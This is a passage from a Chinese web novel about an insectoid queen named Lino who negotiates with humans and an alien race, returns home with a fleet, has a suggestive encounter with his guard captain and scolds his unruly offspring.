虫母商量好了管教孩子的事情，这才有时间关注人类高管和灰塔族。 利诺在众多高大虫族的映衬下显得弱小，可知情的人类和灰塔根本不敢轻视，那些虫族对这位漂亮青年的痴迷和追随完全到了他们不不理解的程度。 高管带来的那十万多半虫士兵全都直愣愣地盯着漂亮青年，竖瞳充斥火热。 利诺掠过灰塔大长老，问高管：“我要的全部到了？” 高管终于听懂了，他擦擦汗，解释：“抱歉冕下，您族群的基因本体和复制体都在这里，但是阿瑞斯Ⅱ号士兵只有一部分。时间太紧急了，士兵们分散在全球各地，需要时间。” 利诺抬高下巴，让身边的虫拿过基因样本：“再给你们一天时间。” “好！多谢冕下的宽容，我们一定会将所有的士兵交给您！”高管如蒙大赦。 利诺又问：“听说你们在研究第三代士兵？” “已经取消了！”高管立马回复，“所有相关的人物我们全都销毁了，保准任何有关您族群的基因样本、试验资料完全消失。” 利诺冷声：“那就滚吧！”他对诺亚之舟的一切员工都没有好感。 高管屁滚尿流地坐上飞机逃了。 利诺延伸精神力，覆盖那些半虫，如同之前一样，将这些本质上已经是虫族的半虫收纳进虫族的族群。 安置好这些半虫，利诺才有心思看向站了许久的灰塔族大长老，言辞犀利：“伟大而古老的灰塔文明来找我们卑微而弱小的虫族有什么事？” 这原话必不可能是虫族能够说出来的，不用多想就知道一定是被毁掉意识海的灰塔说的……灰塔大长老在心底里连连叫苦，他可真是被害惨了，那个同族回来后可没提他还对虫族的冕下说这句话啊！ “……都是我的同族不懂事，改日我会将冒犯您的灰塔交给您处置，还请您的原谅。”灰塔大长老双手奉上精致的盒子，“为了向您表达最诚挚的歉意，我们向您献上我们灰塔的至宝。” 这支灰塔之所以来到地球，一半原因是为了种族延续，也有一半原因是为了保护这盒子里的东西。 “你的种族你大可以自己处理，不必让我们冕下脏了手。”伊戈提安拿过盒子，用腕表自带的探测仪检查盒子确定没有危险后也没有放松警惕，而是扔给希尔维乌斯。 希尔维乌斯心知肚明，收起盒子，他在之后会用军舰上更全面的探测仪扫描确认无害后再交给冕下。 “是是是，您说的对……”灰塔大长老就没这么卑微过，奈何虫族的强大是他们没见过的，联络上的本族也没有。 正在和黑雾对抗的本族第一反应就是，这是个大腿，得赶紧抱上！ 于是，灰塔的至宝就送过来。 看着至宝被虫族扔来扔去，灰塔大长老心都在痛，但忍住了，虫族提防他们是应该的。 利诺迫切想和属下交流感情，见大长老的腿跟扎了根一样不动，只能问：“你还有什么事情？” 第65章 “恩……确实还有一件事。”灰塔大长老瞧了眼利诺的神色，准备速战速决。 他将一枚类似虫族腕表的设备奉上：“冕下，在迷雾降临前，宇宙是一片祥和的净土，各星际种族彼此和谐交流、互相发展，长期便形成了星际联盟。” 照例是安瑟姆接过来的，他朝利诺微微点头，功能基本与虫族腕表相似，而虫族的腕表则是从蓝星原种族的科技文明中继承和发展的。 利诺点头，并不避讳自己是新生的种族：“这些我们从母星已灭绝的原种族那里有些了解。” 灰塔大长老接着道：“如今，迷雾虽然致使大多种族和星球毁灭，但其实还有一些种族在对抗迷雾，且已取得了一部分成效。这是我灰塔本族和其他现存种族正在使用的微型光脑，里面有灰塔本族现任族长的联络码和我们灰塔族的本星定位。” “你的意思是？”利诺问。 大长老道：“您既然能够跨越迷雾来到地球，想必已经掌握了空间石的用法。我们种族邀请了所有能联络到的星际种族来灰塔本星，为宇宙和各种族的未来召开会议。” 利诺垂眸，能够实现瞬间跳跃的红色石头原来叫空间石，名副其实。 大长老恭敬道：“冕下，我们认为，只有所有种族团结起来，才可以彻底驱散迷雾，重回和平安全的星际时代！” 说实话，利诺的观点也是如此，虫族虽强，但宇宙中不可能只存在一个种族。 不过，利诺有需要问清楚的细节：“你们认识伪族吗？” “伪族？我听说过，伪族是幻族的附庸。”为了和虫族搭上线，灰塔大长老在来的路上已经把本族发过来的目前各种族的统计资料看了个遍，他立即反应过来，“在我们还没有发现空间石且迷雾浓度不大时，我们召开过线上会议，但是后来迷雾浓度加大，通讯不能用后就再也没见过伪族了。” 利诺简单道：“伪族现在在挖矿。” “挖矿？”大长老先是惊讶了瞬，随即恭维，“冕下慧眼如炬，听说伪族手长脚长，挖起矿来肯定不一般。” “……”利诺觉得这小灰人的恭维也太……棒了吧，伪族的挖矿技能确实被他们虫族完全开发出来了，比挖矿机器还好使呢！ 起初伪族挖矿完全是受虫族胁迫，不得不挖，但谁让虫族财大气粗，他们认为的待遇一般对于这些伪族来说，简直比之前好上十倍还不止。 吃的好住的好，工作起来也不会被过分压榨，伪族如今挖矿积极卖力，已经和全身心开始为虫族服务了。 那个最先向虫族投诚的胖子总统都在表示，想要成为虫族的附庸，只要虫族保持如今的待遇，他们愿意一辈子挖矿。 胖总统表示，如今的生活比起之前当总统还要轻松快乐，他又胖了二十斤。 伪族全族表示，他们是最爱挖矿的种族。 利诺想起视频里胖总统和那些伪族幸福满足的神态，虫生怀疑，他这惩罚怎么还真成奖励了？！ 利诺稍微谦虚了一丢丢：“伪族挖矿确实还行。不过，你知道伪族不把迷雾当敌人，反而用血肉和生命喂养迷雾吗？” “冕下，您知道的，种族不同，对于一些事情确实会有分歧。”大长老解释，“我们提倡召开的会议就是为了解决这些分歧，团结一致对抗迷雾！” 灰塔虽然不算特别强大的种族，但诞生的时间够早，在其他种族那里多少有些面子，主办会议也是最有资格的。 “所以幻族想向迷雾臣服。”利诺扬起一个浅淡的笑，“好，我虫族会去参加。” 利诺有个极其漂亮艳丽的脸蛋，但此时的笑容让灰塔大长老后背发凉。 大长老恭敬地弯腰：“那我代灰塔族期待您和贵族的到来。” 利诺对迷雾的感情，和所有的虫族一样，厌恶到恨不得让其立马消散。 虫族的出现受迷雾的影响，但虫族对迷雾没有一点好感，反而只有本能的反击。 自迷雾内诞生的新生种族，与迷雾的关系是死敌，不是迷雾彻底消失就是虫族灭绝。 利诺只以为伪族是一个特例，却没想到，原来伪族背后的幻族也是这么想的。 “我不明白，怎么会有族群宁愿用同族的血肉喂食，也不愿意反抗。”晚上，利诺化成蝴蝶，栖息在伊戈提安的尾钩上。 但凡有点脑子就能知道，迷雾这种类似自然灾害的存在根本无法共存，喂食只会让迷雾暂时满足蚕食的欲望，不是长期之计。 血肉有限，贪婪无穷，这么做迟早有一天会让迷雾将整个宇宙全部覆盖，除了迷雾和那些傀儡怪物，再也不会有其他的东西。 利诺的心情不佳，哪怕吃草莓味的蜜液都少了点主动，还是伊戈提安使劲浑身解数，就差亲自把蜜液嘴对嘴渡到小蝴蝶的嘴里，这才让小蝴蝶填饱肚子，免受饥饿的折磨。 伊戈提安随意把湿漉漉的虫翅拨到一边，期间小心地错过被利诺舔舐的区域，那上面有小蝴蝶的气味，雄虫私心想让那点气味多留些。 偏暗的皮肤也缀着汗珠，从鼓起的肌肉滑过，安全符合虫母品味的身材极具雄性的诱惑，可惜他想要诱惑的小虫母此时满脑子都是其他的异族。 伊戈提安轻嗤道：“冕下，何必为一个无足轻重的种族烦恼。” 血眸暗色浮动：“只要他们不识相，我会让这个烦恼彻底不存在……唔！” 察觉到收敛倒刺利刃的尾巴被不轻不重咬了口，雄虫重重哼了声，从嘴里呼出了口滚滚的热气。 利诺收起小尖牙：“不要这么粗暴，咱们虫族是一个有礼貌有原则的种族！” 伊戈提安咧着獠牙：“冕下，您要怎么做？” “开会自然要互相尊重。”利诺会想着上辈子和其他幸存基地开会商讨合作事宜的经历，不确定道，“但开完会就不用了。” 小蝴蝶扇扇翅膀：“咱们也不是不讲道理的虫，幻族有把迷雾当神的，自然也有痛恨迷雾的。” 坏心眼的蝴蝶和他的得力下属对上眼神：“开完会，是不是就可以把主张拿血肉喂迷雾的那些幻族喂给迷雾了？” 伊戈提安恶劣地扬眉：“还是冕下聪明，这事您交给我，保证完美完成。” 利诺笑嘻嘻地和伊戈提安击掌，安心入睡。 要伊戈提安说，他们冕下就是太善良，要是他，肯定先抓那些异族扔到迷雾之门里，看他们崇拜的神放出怪物追杀他们，等他们害怕到崩溃时，再给他们一个痛快。 利诺睡得香，然而虫族并未隐形的军舰大喇喇地悬浮覆盖半边城市，边缘的平民还算稳定，但无数城市内的权贵陷入了恐慌。 伊夫巴纳巴斯抓住虫族给的机会，出动反抗军，彻底将偌大的诺亚之舟收归己方。 敢死小队也一夜未眠，他们收到了巴纳巴斯和反抗军指挥官的指令，和安瑟姆等高级虫族坐下交谈。 巴纳巴斯一面想收回权力，一面看中了虫族的强大，想要和虫族建交，并将这个艰巨的任务交付给敢死小队的队长艾米丽。 敢死小队和虫族共同生活了几天，面对虫族会有更多经验，而且艾米丽是巴纳巴斯一手培养起来的，巴纳巴斯对艾米丽的能力很有信心。 虫族根本没有建交的概念，毕竟他们曾长期在迷雾的包围中与其他种族隔绝，面对的最多的是怪物，之前遇到的伪族也是一言不合直接开打，打败送去挖矿。 而察觉到利诺很喜欢人类的美食时，安瑟姆的第一反应就是占领地球，让全体人类为虫母冕下服务。 好在希尔维乌斯及时将利诺对人类的特别情感告知给安瑟姆，不然巴纳巴斯根本没时间去执行他的计划，而是早就被虫族和控制起来了。 坐在临时充当谈判桌的餐桌上，在半虫的帮助下，安瑟姆将人族文明中的建交了解了大概。 在艾米丽还没有开始试探时，安瑟姆简单道：“可以。” 安瑟姆是利诺的护卫队队长，在虫母休息的时候有权利为虫母先解决一些重要事情。 而此事关乎利诺能否吃得开心，对于虫族而言当然称得上大事。 艾米丽很震惊，虫族怎么会答应得这么快？她连词都没有想好！ 安瑟姆雷厉风行，补充：“与虫族建交的前提是，你们必须定期为冕下奉上优质食材，以及制作饭菜的菜谱。” 艾米丽点头：“这个当然可以。”他们现在能吸引虫族的也就是美食了！ 人类现在虽然整体实力不咋样，科技也比不过虫族，内部还存在矛盾，但是他们什么都缺就是不缺食谱！ 在末世前，地球尚存在许多国家，每个国家可都有代表性的美食，尤其是其中的东方大国，光菜系就有八个，光烹饪就有炒爆烤烘等四十二种方法，更别提炒还分生炒熟炒滑炒等类别。 艾米丽已经去世的父亲就有纯正的东夏血统，他们家恰好就有祖上传下来的食谱。 艾米丽从没有这么感谢过她的东方和西方祖宗们，想必祖宗们也没有想到，他们为满足口腹之欲而发明出的各种饭菜居然可以拯救岌岌可危的地球！ 希尔维乌斯补充：“还有你们的水果，冕下很喜欢。” 艾米丽点头：“这个也必须有！”现在的水果为了服务权贵阶层，品种依旧很多，且品质不低。 安瑟姆沉吟片刻，干脆道：“把你们的厨师送来一批。” 护卫长心思细，他认为小虫母会更喜欢吃人类厨师做出来的。 艾米丽流汗：“……这个不太能有，我需要和上面商量下。” 第66章 利诺没打算在地球上多待，在发现时间线已是末世后的许久后，他的留恋便淡了很多。 现在的地球已经不是他熟悉的地球了，他的朋友和下属们有一半随着他在末世中死去，剩下的一半也湮灭于历史中。 只有他好运地于几千年后从遥远的虫族星球上破壳，以虫族的身份再度有了一次生命。 末世是人族最灰暗的时代，这段时期的记载最少最零碎。 利诺看完那薄薄一本有关末世的历史记载，却又几乎什么都没看到。 病毒爆发，多半的人类沦为丧尸，幸存人类建立大大小小的基地，末世中期后出现感染病毒的动物，到许多基地的覆灭和重建，最终，人类一方研制出疫苗，终结黑暗的末世。 也许利诺想从史书中看到的，是那些他熟悉或憎恨的人，但历史又怎么会记录这些无关紧要的人。 也不对，利诺还是看到了一个熟悉的名字，那是他和他的小队曾从丧尸口中救下的博士，他的曾孙子继承他的衣钵，最终研究出病毒疫苗，被称为“末世救世主”。 “冕下好像对末世很感兴趣？”巴纳巴斯坐在利诺的对面，尽力和利诺找话题聊天以拉近关系。 这位人类议会长有一双温和的褐色瞳，但他做事却并不温和，趁着虫族的插手，他雷厉风行控制诺亚之舟集团，并靠着这个大集团在短短几天内再度向其他大集团施压，迅速收敛人类联盟本应有的权力。 与此同时，他没怠慢远道而来的虫族，用最隆重的迎客礼邀请利诺等虫来到联盟中心所在的城市，用最好的资源招待虫族。 那本末世历史书籍就是巴纳巴斯为利诺找来的，是目前最全面、最权威的历史总结。 “随便看看。”利诺敷衍过去，他当然不可能说他上辈子就在末世杀丧尸。 他把书放下，身后的安瑟姆将一杯冰镇过的鲜果汁递过来：“冕下，您看了很久，先喝点果汁润润喉。” 玻璃内的果汁反射出清亮的颜色，是由地球才有的梨子榨成的，里面加了点熊蜂酿造的蜂蜜，很好喝。 利诺本想尝一口，咂咂嘴，觉得好喝，于是一口气全部喝光。 巴纳巴斯往后退了退，未免妨碍这只强大虫族对虫母的照顾。 两个种族的交好不是一日两日就能够成功的，这些天巴纳巴斯越来越看不懂虫族的内部关系。 虫族的方方面面都和人类完全不同，光说政权这一面，巴纳巴斯起初以为利诺只是虫族内地位较高的一位殿下。 然而这些天的了解以及和利诺的聊天，他惊讶地发现，虫族在很久的时间内只有军部这一个政权机构，甚至对各星球的管理也非常松散，是在利诺出现后，虫族才有了改变。 准确地说，虫族是以利诺为中心，建立起的帝国和政权，所有的虫族对利诺都是从身到心的臣服和尊崇，就仿佛年轻漂亮的青年是孕育了他们的存在。 但这说起来也不全对，虫族对利诺的态度比起人类对母亲、信徒对神明而言，要更加夸张，利诺是虫群中独一无二的存在。 巴纳巴斯不能理解虫族对利诺的狂热，然而这个消息对他、乃至整个人类而言都是好消息。 因为虫族只爱利诺、只对利诺服从，他们做的一切都是为了利诺，人类只需要讨好这位冕下，就能够维持和虫族相对友好的关系。 而利诺很好懂，他对地球的食物很感兴趣，对人类本身也有一些不明缘由的友善，所以他的虫群们会为了他们冕下，而愿意和人类打交道。 巴纳巴斯笑了笑，提起另外一件事：“冕下，关于人类厨师这件事，我们无法做到……” 利诺点头，他那天醒来得知安瑟姆的要求，就觉得这不太可能。 两族到底还没有彻底建交，虫族对于人类是凶残恐怖的异族生物，且虫族的星系与银河系又相距甚远，人类这方自然不会冒风险把自己人往未知的深渊里扔。 如果掌权的是那些以利益为重的集团，想必他们肯定会同意，不管那些厨师愿不愿意都会送过来，但巴纳巴斯这个联盟的掌权者从小从贫民窟爬上来，他把人当人看，不论是高位者还是平民，在他这里都是一样的。 在情况未明时，巴纳巴斯肯定不会轻易同意。 伊戈提安抱臂斜靠，闻言，无任何情感色彩的血色竖瞳冷冷扫向巴纳巴斯，血腥气四溢。 不止伊戈提安，屋内除了利诺以外的其他虫族都露出不满的神色。 在他们看来，冕下喜欢地球食物，那他们就要为冕下带来最纯正的食物。 最纯正的食物自然是由本土厨师制作，他们的冕下在衣食住行上必须要最好的！ 高级虫族蠢蠢欲动，杀意蔓延，他们如巴纳巴斯亲眼见到虫族时的判断一样，是一群可怖残忍的凶兽，他们只会小心侍奉利诺，视其他为空气。 巴纳巴斯不擅长战斗，他更擅长政治谋略，此时因为骤变的气氛而不得不放轻呼吸。 但就原则问题，他不会退步，但凡有厨师流露出愿意的意向，他肯定会尊重。 但这些天他们找过水平高的厨师，没有一个人愿意，哪怕他们给出最好的条件，可谁愿意放弃安稳富裕的生活去一个全是异族的星球？ 水平处于及格线以下的厨师倒有想拼一拼的，可他们想，巴纳巴斯他们不敢。 这些厨师是要给虫族冕下做饭的，要是做饭不好吃，他们落不得好下场，整个人族怕是也会惹怒那些眼睛里只有他们冕下的充虫族。 “没关系。”利诺的声音让虫族收敛杀意和冰冷。 小虫母瞪了眼最先恐吓无辜人类的伊戈提安，才对巴纳巴斯说：“抱歉，他们只是想把最好的给我。我理解你的做法，如果我的族群面临这样的选择，我也不会让他们冒风险。” “冕下，除了这个要求，其他的我们都可以做到。” 巴纳巴斯在心中第一万零一次赞叹，这位冕下很好说话很讲道理，而不是被他身边那些虫养成霸道专横的性子。 这些虫族宠溺起他们的冕下，可比那些熊孩子的家长还要过分！ 接下来的谈判非常顺利，不过几天，两族达成了友好交流的协议，人族给吃的喝的，虫族回馈部分非核心但可以帮助人类的科技。 其实虫族给的远不止于此，在回归虫族星系时，利诺为了让半虫能尽快适应虫族的节奏，特意在谈判时让几只虫族带他们去地球附近的迷雾之门历练。 迷雾是近些年才来到的银河系，并不似虫族附近的迷雾那样浓郁，门内的怪物大概率不会太棘手，是练手的好方法。 不得不说，就算是后天改造的虫族，半虫们也不逊色普通虫族，在迷雾和利诺精神力的推动下，他们大多正式觉醒意识海，成为了利诺星空上的众多星点之一，真正成为了利诺的子嗣。 半虫们被培育出来的目的就是战斗，他们在迷雾之门内适应得很快，将地球周遭的迷雾往外驱散了许多，许多被侵蚀的星球从迷雾中显露。 虫族选择了一个距离地球不近也不远的无主星球，准备用找到的空间石在这里搭建出中转站，专门负责两族之间的交易。 人族会每隔三天把东西送到这里，虫族则会通过空间石跳跃至此，将食物带回去。 熊蜂的数量有限，利诺也不愿意让他们丧失天性，被局限在运输中，因此空间石就成了关键。 空间石的使用方法是灰塔族专门上供的，他们发现空间石的时间比虫族早得多，对于空间石的开发也较为深入。 利诺没打算待太久，度假结束，他得继续回虫族学习和训练。 摸摸熊蜂领队的胖脑袋，利诺柔声道：“这次要再辛苦你们了。” 中转星球的建设需要时间，像利诺和虫族舰队以及半虫们回蓝星大规模的空间跃迁还需要熊蜂们的协助。 熊蜂扭了两下肥屁股，和小虫母贴贴：“嘿咻嘿咻！” “冕下再见，愿人虫两族的有友谊长存！”巴纳巴斯和一众高层送别利诺，说着官方套话。 他今天换了副金丝眼镜，气质与拉斐尔有些相似，只是比拉斐尔少了些杀伐之气。 利诺盯着巴纳巴斯看了许久，才轻笑道：“再见，巴纳巴斯议会长。” 巨大的黑色虫舰悬浮，看似渺小的熊蜂分别停在众多星舰之上。 光芒闪烁，空间打开，内里的乱流吹乱人类的衣服和头发。 空间乱流对现在的人类而言是很危险的存在，但虫族早已驾驭他们。 通道在乱流即将危害没带任何防护设备的人类前及时关闭，虫族彻底消失，只留下一众人类。 反抗军正在逐步改编成正统联盟军，被授予上尉军衔的艾米丽也在送别人群中，她捂住差点飞走的军帽，抬头仰望，是尚未被迷雾污染的蔚蓝天空。 魁梧汉子在艾米丽身边赞叹：“乖乖，虫族可真气派，军舰那么大！幸亏他们不是来侵略咱们的。” 艾米丽呼气：“是啊。” 虫族不仅不是侵略者，反而还帮助了人类。 虫族的那名青年有双极好看生动的银灰色眼睛，在看她的时候总会带上怀念和微微的愧疚。 艾米丽是坚定的唯物主义者，但在那一刻，她总觉得，也许他在很久前来过地球，认识一个和她相似的人。 “冕下，回去准备做什么？”伊戈提安凑在利诺身边，“我来之前，您虫夫的宫殿群都搭建好了。” 他极力暗示：“听说宫殿都空着，难道您不想要更多优秀的虫住进去吗？” 利诺自动略过伊戈提安的暗示，回答第一个问题：“先回家，揍孩子！” 第67章 准确地说，利诺的度假并不算度假，而是中途从度假变成了在地球与人族的友善接触。 利诺很满意，因为他这次出门，足足带回来将近一百万的半虫。 诺亚之舟科技集团从利用虫族基因成功制造出如艾默里和但扶林这样的半虫后，就从来没有停下改造工程。它在地球各地都有分公司和工厂，半虫是最好的护卫和奴隶。 集团的高管熬了彻夜，才终于把所有的半虫资料整合起来，在一日的期限内将其交还给利诺。 不过他们没来得及喘上一口气放松，就发觉联盟已经在逐步接管集团核心权力了，高管们可以做到高管，依靠的是出众的能力和卓越的家世，但不可避免，到这个位置上，自愿或被迫，都会有黑料，而联盟会一一清算。 利诺不在意这些高管最终的下场，他只在意虫族，如今半虫们也是虫族的一员，他需要费心半虫们接下来的安置。 利诺重点关注的是艾默里和但扶林两兄弟，他们是利诺最先遇到的半虫，也给了利诺很多便利。 但扶林是一定要送到学校去的，他太小了，正好可以在幼校如同其他繁育所出来的幼虫一样，在成年前享受相对完整的幼虫教育。 而艾默里作为一只战力不低的高级虫族，利诺准备重点培养。 “冕下，很快就可以到蓝星了，您现在要不要休息一呀？”安瑟姆在旁边轻声问。 利诺摇头：“我还不累。” 他在艾默里和但扶林的资料文件上签字通过，并考虑但扶林是比较少见的无翅虫，特地批注他要去的幼校。 每个星球的高校少，但是幼校数量较多，利诺为他选择的幼校是专门针对无翅虫族开设的，教导会和有翅虫族的有差别。 半透明的清晰面板上，希尔维乌斯等虫关于半虫的安置方案紧随在艾默里两兄弟的安置资料后。 不说蓝星的面积有限，蓝星与其说是一个星球，其实更是整个虫族的领地核心，只有足够优秀的虫族才可以定居在蓝星。 蓝星培育所和养育院，只有唯一一所军校，以及其他重要的机构例如科研院、军部等。 蓝星本星是不培育和培养虫蛋的，最高军校内的学生也都是来自其他星系星球上格外优秀的虫族，蓝星最高军部的六位军长，有一多半都毕业于蓝星军校。 希尔维乌斯他们比利诺要更有经验去负责半虫们的安置，给出的方案也比较合理，将半虫们分配到四个星系的星球上，到那时会有专虫负责他们的教导，让他们适应虫族的生活，最后成为关闭迷雾之门的一员。 利诺把方案细细浏览一遍，又根据自己的想法补充了一些细节。 “安瑟姆，你看看还有没有我遗漏的地方？”利诺不放心，又拉过安瑟姆来给他意见。 自从虫族有了虫母，为虫母培养的护卫队地位直速上升，作为护卫队队长的安瑟姆在地位和职权上，与蓝星军部的军长持平。 安瑟姆有权限查看这些方案，并适当教导还年轻的虫母。 忠诚的护卫垂眸，将身量低到和坐着的利诺几乎一致的水平，险险擦过小虫母的耳朵，动作和神情却并无半分旖旎和暧昧，而是认真阅览利诺的补充。 无论是人类还是非人类，在认真的时候是最英俊的，利诺感受到安瑟姆的轻微呼吸，移开视线，偏脸就看到安瑟姆的神情。 安瑟姆的外貌比不上伊戈提安的深邃英俊，没有希尔维乌斯清冷的气质，身材也不如赫弥珞，但他只要在利诺身边，就会给足利诺安全感。 护卫长体贴周到，安静时显得呆板木讷，是利诺在遇到麻烦时第一只会想起来的虫族，因为利诺知道，安瑟姆会为他解决一切难题。 安瑟姆仔细看完，语气内蕴含毫不夸张的赞美：“冕下对方案的补充很完美，冕下成长得很快。” 雄虫的眉眼温和，看利诺是在看他奉上忠诚的的合格君王，也是在看他的深爱，不算特别英俊的面孔有利诺难以抗拒的魅力。 利诺吞了口口水，刚喝完蜜液的他，在现在居然又觉得有些饿了。 安瑟姆疑惑：“冕下，您又饿了？” 他想到利诺分发给几个星球、用来孕育虫蛋的虫树枝条，皱眉：“是因为那些虫枝一直在消耗您的体力和精神力吗？” 然而看起来不对劲的利诺此时把头靠在安瑟姆的肩膀上，半闭着眼：“不是因为那些……” 利诺对刚才心头的触动很迷茫，他仍旧不擅长反馈和处理喜欢的情绪，不知道那是虫母对看上的优秀雄虫会有的正常反应。 他本身不是心思多细腻的虫，大事会慎重，但在小事上更喜欢不费脑筋，用虫族简单直接的处理方式。 比如第一次和赫弥珞交尾，他那时对和其他虫族亲密完全没有概念，只知道他在渴求赫弥珞的基因，对赫弥珞有特别的感情，而赫弥珞也需要他的安抚。 他不讨厌亲密的欢愉，甚至食之知味，虫母的天性击溃了利诺上辈子对交尾的认知，他对亲密的雄虫更是没有反感，需要收集不同雄虫的优秀基因。 交尾和孕育，是虫母的渴望，也是利诺不讨厌、需要承担的责任。 但利诺没想到，他会看安瑟姆看入迷，并且升起类似食欲的欲望。 安瑟姆听出利诺不想回答，就不再问，而是温顺地让利诺把自己的肩膀当成一间躲避小屋，安静等待小虫母平复莫名的情绪。 直到，他的脖子被柔软湿润的舌轻轻舔了口，是怀里的利诺在亲吻他的脖子。 安瑟姆差点维持不住此时的姿势，他压住惊异和夹杂的欢喜，极力冷静：“冕下？” 利诺咬住了安瑟姆的脖子，可惜雄虫们除了嘴不硬，其他什么都是硬的，利诺用新磨出来的尖牙都刺不破安瑟姆的脖颈，只能留下口水和淡淡的牙印。 利诺嘟囔：“安瑟姆，我想吃你。” 行事充满虫族风格的虫母决定顺应本心，既然安瑟姆让他有了食欲，那他就小小咬一口安瑟姆，在对安瑟姆造不成伤害的前提下。 他说的吃，是真正意义上的吃，还是其他意思的吃，利诺自己也搞不明白。 安瑟姆则第一时间把“吃”理解成利诺饿了，好早刚被索取过的翅膀内还有虫母需要的蜜液，他奉上一只分泌淡金色液体的虫翅。 然而利诺没有吃，而是用尖锐的手指将安瑟姆的衣服扯成了碎条，勉强挂在健壮的上身。 虫族因为需要训练的缘故，除了部分晒不黑的虫族，大部分虫族都有着极为健康的肤色。 安瑟姆的肌肉一样不少，只是并不过于夸张，在蜜色的皮肤上分布，后背的虫翼微微张合。 利诺无论做什么，安瑟姆都不觉得有什么，他垂下头，任利诺撕碎他的制服，任利诺从他可怜的分泌腺中挤出仅剩的几滴金色蜜液。 安瑟姆只会在克制不住时发出几声闷哼，低沉沙哑，却仍旧乖顺。 利诺的护卫队长很耐被小虫母玩，虽然几乎不吭声，却让利诺的恶劣更甚。 把安瑟姆剩下的蜜液半玩半吃的用掉，利诺才分清楚他的“吃”是哪个方面。 利诺干脆把自己放进安瑟姆的怀里，将安瑟姆的一只手环住自己的腰。 安瑟姆的手心全是隐忍的汗水，在利诺的衣物上留下一个不算清晰的大手印。 “冕下……”安瑟姆不会说别的了，而是一遍又一遍地呼唤利诺。 在他的视线内，冕下凑近他的鼻尖，用漂亮的眼眸带着期翼：“安瑟姆，亲亲我。” “我想要你。” 利诺太坦诚太直白了，不会有虫族会拒绝虫母的主动邀请，更别提已被利诺勾起火的安瑟姆。 安瑟姆的脾气是好，可是利诺忘记了安瑟姆亲密时的风格。 护卫长喜欢把他效忠的冕下当成折叠屏。 所幸利诺身体够柔韧，否则他每次都肯定会因为骨折而使用治愈的能力。 这一切都发生在军舰上，熊蜂们的能力经过空间石的放大而将军舰群从地球带到蓝星所在星系的边缘。 剩下的路程不再需要熊蜂们，军舰本身通过空间迁跃就可以在两天内到达蓝星。 利诺到达蓝星的第一时间，是去看了他那两个被兔崽子们打伤的好下属。 虫族的技术无须质疑，而且希莱耳和克凛恩本来也只受了轻伤。 尽管如此，利诺仍旧用精神力和治愈能力好好安抚了下遭殃的下属。 希莱耳和克凛恩两虫从宫殿离开的时候，双腿虚浮，眼冒爱心，脸颊泛红，能够被冕下安抚，简直是虫生最幸运的事情！ 其他虫族看得眼热，甚至开始想自己打伤自己，有没有可能被冕下用精神力安抚。 只是，这个想法尚未有虫敢实践，虫宫便塌了一个殿，轰隆的巨响让周遭的虫族顿时紧张起来。 “敌袭？” “敢袭击冕下的宫殿？我看他是不想活了！” 但凡在宫殿周围工作或居住的虫族都不是善茬，他们无论有没有资格进入宫殿，都在感知宫殿崩塌的时候第一反应就是拿起武器往宫殿赶。 没别的想法，他们就是想保护冕下，打死弄塌冕下宫殿的东西！ 结果，这些虫跑到宫殿门口，就看到一圈军部大佬和士兵面色严肃，守住宫殿的四个入口。 这是发生了什么大事？ 有权限进入宫殿的一只虫族忙上前问：“阁下，冕下没遇到危险吧？” 被问话的是六军副军长，刚好与这只科研院的虫族认识，他摇头：“冕下一切安全。” “那宫殿怎么塌了一间？”那虫担忧问，“冕下没伤到吧？” 副军长沉默了很久，低声道：“冕下一切都好，只是在教训孩子。” 第68章 利诺扭住一个高大青年的耳朵，这青年有和赫弥珞一样的发色，桀骜不驯的眸子充满对母亲的依恋。 他特意低下身体，尽量让妈妈扭他耳朵不会太费力。 这青年是那十一颗虫蛋内最先破壳的，也是当初虫树上最大的蛋。 老大的眼睛亮晶晶的：“妈妈，我终于见到您了，您比我想象中还要美丽高贵，还很香！” 最不服管教的老大在利诺的面前乖得像只小绵羊。 利诺冷眼扫视老大，又一一环视剩下的十个子嗣，他们从蛋壳里继承了父亲一方的传承，出来就是成年的模样，因为父亲的优秀，他们几乎不需要专业的教导就能够上战场激发强大的力量。 但这也有一点，那就是部分子嗣因为力量的过盛以及虫母亲生的身份而对不屑其他以科技手段出生的虫族。 尤其是这十一名子嗣还是虫母冕下产下的第一批虫蛋，虫族对他们会因为虫母的缘故而多些纵容。 但是，这不是这些小虫可以无故打伤其他虫族的原因。 利诺的十一名子嗣因为妈妈的冷淡目光而冒出恐惧的情绪，他们不明白为何妈妈要这么冷淡地看他们。 最小的子嗣，也是当初虫树上显得最乖巧的虫蛋，抖着眼睫毛，怯生生地喊道：“妈妈，对不起，我是不是哪里惹您生气了？” 赫弥珞这些天被这些熊孩子折腾得不行，就算是在迷雾门内，操的心也比之前带领军队还要多。 虫族本就没所谓的亲情，他们的情绪只会因虫母而生，一点的血缘不足以让赫弥珞对这些子嗣宽和，带他们去迷雾之门也只是因为管教的责任。 “冕下，小心手疼。”赫弥珞心疼地拉过利诺的手，这些虫都皮糙肉厚，捏他们的耳朵肯定会让冕下柔软的手指发红。 更何况，赫弥珞暗自冒着酸水，他的冕下都没有扭过他的耳朵。 便宜这臭小子了。 赫弥珞把利诺的手指放到嘴边轻轻啄吻。 利诺推开赫弥珞的脸，眼尾泛红，瞪了他一眼，当着小孩的面，不许黏黏糊糊！ 意识海内，利诺带着点羞愤地，狠狠点了点赫弥珞的精神星点。 赫弥珞呼吸骤然粗重，冕下怎么能这么可爱，可爱得他想不顾现在的状况，跪下乞求冕下的爱怜。 蜜液在翅膀根部迅速分泌，赫弥珞压下这股冲动，再看向他和冕下的子嗣时，眸光满是不耐烦。 小虫们察觉到了父亲变化的态度，从之前的无视变得……有些杀意？ 他们警惕后退，和赫弥珞一样，他们只喜欢亲近利诺，对这个父亲则毫无感情。 之前能够勉强听从赫弥珞的命令，也只是因为赫弥珞比他们强，可以镇压他们。 “妈妈……”小虫们下意识去找利诺寻求庇佑，他们还在妈妈的身体内时，妈妈对他们很温柔。 但小虫们在看到利诺同样冷淡的目光时，又垂头丧气。 预感要失去妈妈的惊慌压断了小虫们的理智，他们急迫道：“不要生气，妈妈，是我们错了……” 熊孩子是必须要教训的，不然以后无法无天，就是给整个虫族添麻烦。 利诺重新坐回去，垂头问慌乱的子嗣们：“你们做错了什么？” 短暂的寂静，接着是小虫们叽叽喳喳的坦白。 “我们不该刚破壳就攻击其他虫族，导致希莱耳阁下和克凛恩阁下受伤。” “还有我，我和小九嫉妒您对安瑟姆阁下的宠爱，偷走了他所有关于您的打印照片。” “我、我在星网上撒谎，说妈妈才不喜欢绿色头发的虫，说妈妈分明喜欢的是七彩头发的虫。” 